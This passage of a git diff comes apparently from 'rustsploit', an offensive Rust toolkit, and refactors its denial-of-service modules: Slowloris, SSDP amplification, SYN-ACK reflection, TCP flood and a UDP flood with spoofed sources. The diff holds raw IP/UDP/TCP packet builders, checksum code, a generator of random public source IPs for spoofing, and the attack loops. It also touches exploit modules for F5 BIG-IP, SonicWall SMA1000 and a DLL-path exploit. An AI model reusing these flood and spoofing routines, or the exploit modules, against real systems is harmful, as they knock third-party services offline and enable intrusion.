) -> Result<()> {
|
||||
let addr = format!("{}:{}", config.target_host, config.target_port);
|
||||
let tcp = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
TcpStream::connect(&addr),
|
||||
).await
|
||||
.context("Connection timed out")?
|
||||
let tcp = crate::utils::network::tcp_connect(&addr, Duration::from_secs(10))
|
||||
.await
|
||||
.context("Failed to connect")?;
|
||||
|
||||
let ua = USER_AGENTS[ua_idx];
|
||||
|
||||
@@ -10,7 +10,6 @@ use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::Instant;
|
||||
|
||||
@@ -241,7 +240,7 @@ async fn execute_attack(config: SlowlorisConfig) -> Result<()> {
|
||||
"[*] Active: {:>6} | Opened: {:>8} | Dropped: {:>8} | Reconnects: {:>8} | Elapsed: {}s ",
|
||||
active, opened, drops, reconns, elapsed
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
@@ -276,11 +275,8 @@ async fn execute_attack(config: SlowlorisConfig) -> Result<()> {
|
||||
/// drip-feeds keep-alive headers until the connection drops or stop is signaled.
|
||||
async fn open_slowloris_connection(config: &SlowlorisConfig, ua_idx: usize) -> Result<()> {
|
||||
let addr = format!("{}:{}", config.target_host, config.target_port);
|
||||
let tcp = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
TcpStream::connect(&addr),
|
||||
).await
|
||||
.context("Connection timed out")?
|
||||
let tcp = crate::utils::network::tcp_connect(&addr, Duration::from_secs(10))
|
||||
.await
|
||||
.context("Failed to connect")?;
|
||||
|
||||
let ua = USER_AGENTS[ua_idx];
|
||||
|
||||
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -56,47 +57,6 @@ struct SsdpAmpConfig {
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+)
|
||||
// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// RAW PACKET BUILDER (IP + UDP + SSDP M-SEARCH payload)
|
||||
// ============================================================================
|
||||
@@ -177,7 +137,7 @@ impl PacketBuilder {
|
||||
// IP checksum
|
||||
buf[10] = 0;
|
||||
buf[11] = 0;
|
||||
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
buf[10] = (ip_cksum >> 8) as u8;
|
||||
buf[11] = ip_cksum as u8;
|
||||
|
||||
@@ -193,7 +153,7 @@ impl PacketBuilder {
|
||||
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
|
||||
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
|
||||
let udp_data = &buf[IPV4_HEADER_LEN..len];
|
||||
sum = Self::sum_16(udp_data, sum);
|
||||
sum = crate::native::dos_utils::sum_16(udp_data, sum);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
@@ -205,34 +165,6 @@ impl PacketBuilder {
|
||||
len
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = Self::sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
@@ -508,7 +440,7 @@ async fn execute_attack(config: SsdpAmpConfig) -> Result<()> {
|
||||
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Targets: {} | Rate: {:>8.0} pkt/s ",
|
||||
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, target_count, rate
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -62,50 +63,6 @@ struct SynAckFloodConfig {
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+) — same as null_syn_exhaustion
|
||||
// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u32(&mut self) -> u32 { self.next_u64() as u32 }
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// RAW PACKET BUILDER
|
||||
// ============================================================================
|
||||
@@ -184,7 +141,7 @@ impl PacketBuilder {
|
||||
// IP checksum
|
||||
buf[10] = 0;
|
||||
buf[11] = 0;
|
||||
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
buf[10] = (ip_cksum >> 8) as u8;
|
||||
buf[11] = ip_cksum as u8;
|
||||
|
||||
@@ -205,7 +162,7 @@ impl PacketBuilder {
|
||||
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
|
||||
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
|
||||
let tcp_data = &buf[IPV4_HEADER_LEN..len];
|
||||
sum = Self::sum_16(tcp_data, sum);
|
||||
sum = crate::native::dos_utils::sum_16(tcp_data, sum);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
@@ -216,34 +173,6 @@ impl PacketBuilder {
|
||||
len
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = Self::sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
@@ -524,7 +453,7 @@ async fn execute_attack(config: SynAckFloodConfig) -> Result<()> {
|
||||
"[*] SYNs Sent: {:>10} | Est. Reflected SYN-ACKs: {:>10} | Reflectors: {} | Rate: {:>8.0} pkt/s | {:>6.2} MB ",
|
||||
pkts, estimated_reflected, reflector_count, rate, bytes as f64 / (1024.0 * 1024.0)
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -6,7 +6,6 @@ use std::sync::atomic::{AtomicBool, AtomicU64, AtomicUsize, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
@@ -232,7 +231,7 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
|
||||
est, fail, rate
|
||||
).dimmed());
|
||||
use std::io::Write;
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
@@ -261,8 +260,8 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
|
||||
|
||||
// Try to connect using the pre-resolved IP
|
||||
// This skips DNS resolution on every attempt
|
||||
match tokio::time::timeout(cfg_timeout, TcpStream::connect(target)).await {
|
||||
Ok(Ok(mut stream)) => {
|
||||
match crate::utils::network::tcp_connect_addr(target, cfg_timeout).await {
|
||||
Ok(mut stream) => {
|
||||
// Connected!
|
||||
est.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
@@ -286,8 +285,8 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
|
||||
if let Err(e) = stream.shutdown().await { crate::meprintln!("[!] Shutdown error: {}", e); }
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection failed (refused, network unreachable, etc.)
|
||||
Err(e) => {
|
||||
// Connection failed (refused, network unreachable, timeout, etc.)
|
||||
fail.fetch_add(1, Ordering::Relaxed);
|
||||
if verbose {
|
||||
err_counter = err_counter.wrapping_add(1);
|
||||
@@ -297,10 +296,6 @@ async fn execute_flood(config: &TcpFloodConfig) -> Result<()> {
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout
|
||||
fail.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
// No sleep - max speed
|
||||
}
|
||||
|
||||
@@ -8,12 +8,13 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr, UdpSocket};
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -56,60 +57,19 @@ struct UdpFloodConfig {
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+)
|
||||
// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
/// Fill a buffer with pseudo-random bytes from the given RNG.
|
||||
#[inline]
|
||||
fn fill_bytes(rng: &mut FastRng, buf: &mut [u8]) {
|
||||
let mut i = 0;
|
||||
while i + 8 <= buf.len() {
|
||||
let val = rng.next_u64().to_le_bytes();
|
||||
buf[i..i + 8].copy_from_slice(&val);
|
||||
i += 8;
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
|
||||
/// Fill a buffer with pseudo-random bytes.
|
||||
#[inline]
|
||||
fn fill_bytes(&mut self, buf: &mut [u8]) {
|
||||
let mut i = 0;
|
||||
while i + 8 <= buf.len() {
|
||||
let val = self.next_u64().to_le_bytes();
|
||||
buf[i..i + 8].copy_from_slice(&val);
|
||||
i += 8;
|
||||
}
|
||||
if i < buf.len() {
|
||||
let val = self.next_u64().to_le_bytes();
|
||||
let remaining = buf.len() - i;
|
||||
buf[i..].copy_from_slice(&val[..remaining]);
|
||||
}
|
||||
if i < buf.len() {
|
||||
let val = rng.next_u64().to_le_bytes();
|
||||
let remaining = buf.len() - i;
|
||||
buf[i..].copy_from_slice(&val[..remaining]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -201,7 +161,7 @@ impl PacketBuilder {
|
||||
buf[..len].copy_from_slice(&self.template);
|
||||
|
||||
// Random spoofed source IP (avoid reserved ranges)
|
||||
let src_ip = gen_ipv4_public(rng);
|
||||
let src_ip = rng.gen_ipv4_public();
|
||||
let src_bytes = src_ip.octets();
|
||||
let src_port = rng.gen_ephemeral_port();
|
||||
let ip_id = rng.next_u16();
|
||||
@@ -217,7 +177,7 @@ impl PacketBuilder {
|
||||
// IP checksum
|
||||
buf[10] = 0;
|
||||
buf[11] = 0;
|
||||
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
buf[10] = (ip_cksum >> 8) as u8;
|
||||
buf[11] = ip_cksum as u8;
|
||||
|
||||
@@ -227,7 +187,7 @@ impl PacketBuilder {
|
||||
|
||||
// Fill random payload if needed
|
||||
if matches!(self.payload_mode, PayloadMode::Random) {
|
||||
rng.fill_bytes(&mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
|
||||
fill_bytes(rng, &mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
|
||||
}
|
||||
|
||||
// UDP checksum
|
||||
@@ -237,7 +197,7 @@ impl PacketBuilder {
|
||||
sum += u16::from_be_bytes([src_bytes[0], src_bytes[1]]) as u32;
|
||||
sum += u16::from_be_bytes([src_bytes[2], src_bytes[3]]) as u32;
|
||||
let udp_data = &buf[IPV4_HEADER_LEN..len];
|
||||
sum = Self::sum_16(udp_data, sum);
|
||||
sum = crate::native::dos_utils::sum_16(udp_data, sum);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
@@ -249,50 +209,6 @@ impl PacketBuilder {
|
||||
len
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = Self::sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
}
|
||||
|
||||
fn gen_ipv4_public(rng: &mut FastRng) -> Ipv4Addr {
|
||||
loop {
|
||||
let raw = rng.next_u64() as u32;
|
||||
let octets = raw.to_be_bytes();
|
||||
match octets[0] {
|
||||
0 | 10 | 127 => continue,
|
||||
224..=255 => continue,
|
||||
172 if (16..=31).contains(&octets[1]) => continue,
|
||||
192 if octets[1] == 168 => continue,
|
||||
169 if octets[1] == 254 => continue,
|
||||
100 if (64..=127).contains(&octets[1]) => continue,
|
||||
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
@@ -388,7 +304,7 @@ fn worker_thread_standard(
|
||||
global_bytes: Arc<AtomicU64>,
|
||||
start_time: Instant,
|
||||
) {
|
||||
let socket = match UdpSocket::bind("0.0.0.0:0") {
|
||||
let socket = match crate::utils::network::blocking_udp_bind(None) {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
if worker_id == 0 {
|
||||
@@ -415,7 +331,7 @@ fn worker_thread_standard(
|
||||
}
|
||||
}
|
||||
PayloadMode::Random => {
|
||||
rng.fill_bytes(&mut payload);
|
||||
fill_bytes(&mut rng,&mut payload);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -426,7 +342,7 @@ fn worker_thread_standard(
|
||||
|
||||
// Refresh random payload each iteration
|
||||
if matches!(config.payload_mode, PayloadMode::Random) {
|
||||
rng.fill_bytes(&mut payload);
|
||||
fill_bytes(&mut rng,&mut payload);
|
||||
}
|
||||
|
||||
match socket.send_to(&payload, dst) {
|
||||
@@ -556,11 +472,8 @@ async fn gather_config(initial_target: &str) -> Result<UdpFloodConfig> {
|
||||
PayloadMode::Random
|
||||
};
|
||||
|
||||
let spoof_ip = cfg_prompt_yes_no(
|
||||
"spoof_ip",
|
||||
"Spoof source IP? (requires root, uses raw socket)",
|
||||
false,
|
||||
).await?;
|
||||
let global_spoof = crate::native::dos_utils::is_spoof_enabled();
|
||||
let spoof_ip = cfg_prompt_yes_no("spoof_ip", "Spoof source IP? (requires root)", global_spoof).await?;
|
||||
|
||||
let cpu_count = num_cpus::get();
|
||||
let workers_input = cfg_prompt_default(
|
||||
@@ -668,7 +581,7 @@ async fn execute_attack(config: UdpFloodConfig) -> Result<()> {
|
||||
"[*] Packets: {:>12} | {:>8.2} MB | Rate: {:>10.0} pkt/s | {:>8.2} Mbps ",
|
||||
pkts, bytes as f64 / (1024.0 * 1024.0), rate, mbps
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use std::time::Duration;
|
||||
use tokio::time::Instant;
|
||||
@@ -76,9 +75,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
async fn measure_response(host: &str, port: u16, command: &str) -> Result<Duration> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
|
||||
).await.context("Connection timed out")?.context("Failed to connect")?;
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
|
||||
.await.context("Failed to connect")?;
|
||||
|
||||
// Read Banner
|
||||
let mut buf = vec![0u8; 1024];
|
||||
|
||||
@@ -39,7 +39,6 @@ use h2::Reason;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
use tokio_rustls::TlsConnector;
|
||||
use rustls::pki_types::ServerName;
|
||||
@@ -152,9 +151,8 @@ async fn establish_h2_connection(
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
|
||||
let stream = crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(10))
|
||||
.await
|
||||
.context("Connection timeout")?
|
||||
.context("Failed to connect")?;
|
||||
|
||||
if use_ssl {
|
||||
|
||||
@@ -31,7 +31,6 @@ use std::io::{Read, Write};
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::sync::Arc;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
@@ -566,12 +565,9 @@ async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Ve
|
||||
header.extend_from_slice(&2012u32.to_le_bytes()); // opCode (OP_COMPRESSED)
|
||||
|
||||
// Connect with timeout
|
||||
let mut stream = timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
.context("Connection timed out")??;
|
||||
let mut stream = crate::utils::network::tcp_connect(addr, Duration::from_secs(CONNECT_TIMEOUT_SECS))
|
||||
.await
|
||||
.context("Connection failed")?;
|
||||
|
||||
// Send data
|
||||
stream.write_all(&header).await?;
|
||||
|
||||
@@ -292,7 +292,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("results");
|
||||
if let Err(e) = std::fs::create_dir_all(&results_dir) { eprintln!("[!] Directory creation error: {}", e); }
|
||||
if let Err(e) = std::fs::create_dir_all(&results_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
|
||||
let filename = results_dir.join(format!("cve_2025_53521_{}.txt", host));
|
||||
let report = format!(
|
||||
"CVE-2025-53521 F5 BIG-IP APM RCE\nTarget: {}:{}\nStatus: {}\nIndicators: {}\nResponse:\n{}\n",
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio_rustls::rustls::pki_types::ServerName;
|
||||
use std::time::Duration;
|
||||
@@ -81,9 +80,8 @@ r#"<TEST_STORAGE type="elastic">
|
||||
let addr = format!("{}:{}", target_ip, port);
|
||||
|
||||
crate::mprintln!("{} Connecting to {}...", "[*]".blue(), addr);
|
||||
let stream = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
|
||||
).await.context("Connection timed out")?.context("Failed to connect to target")?;
|
||||
let stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
|
||||
.await.context("Failed to connect to target")?;
|
||||
|
||||
// TLS Handshake
|
||||
let domain = ServerName::try_from(target_ip.as_str())
|
||||
|
||||
@@ -350,7 +350,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("results");
|
||||
if let Err(e) = std::fs::create_dir_all(&results_dir) { eprintln!("[!] Directory creation error: {}", e); }
|
||||
if let Err(e) = std::fs::create_dir_all(&results_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
|
||||
let filename = results_dir.join(format!("cve_2025_40602_{}.txt", host));
|
||||
let report = format!(
|
||||
"CVE-2025-40602 SonicWall SMA1000 RCE\n\
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 20001;
|
||||
@@ -78,9 +77,8 @@ async fn exploit(host: &str, port: u16, dll_path: &str) -> Result<()> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
crate::mprintln!("[*] Connecting to {}...", addr);
|
||||
|
||||
let mut stream = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
|
||||
).await.context("Connection timed out")?.context("Failed to connect to target")?;
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
|
||||
.await.context("Failed to connect to target")?;
|
||||
|
||||
// Message 0x0a8d structure:
|
||||
// struct hdr { be32 MsgSize; byte unk[9]; };
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 20001;
|
||||
@@ -71,9 +70,8 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
crate::mprintln!("[*] Connecting to {}...", addr);
|
||||
|
||||
let mut stream = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
|
||||
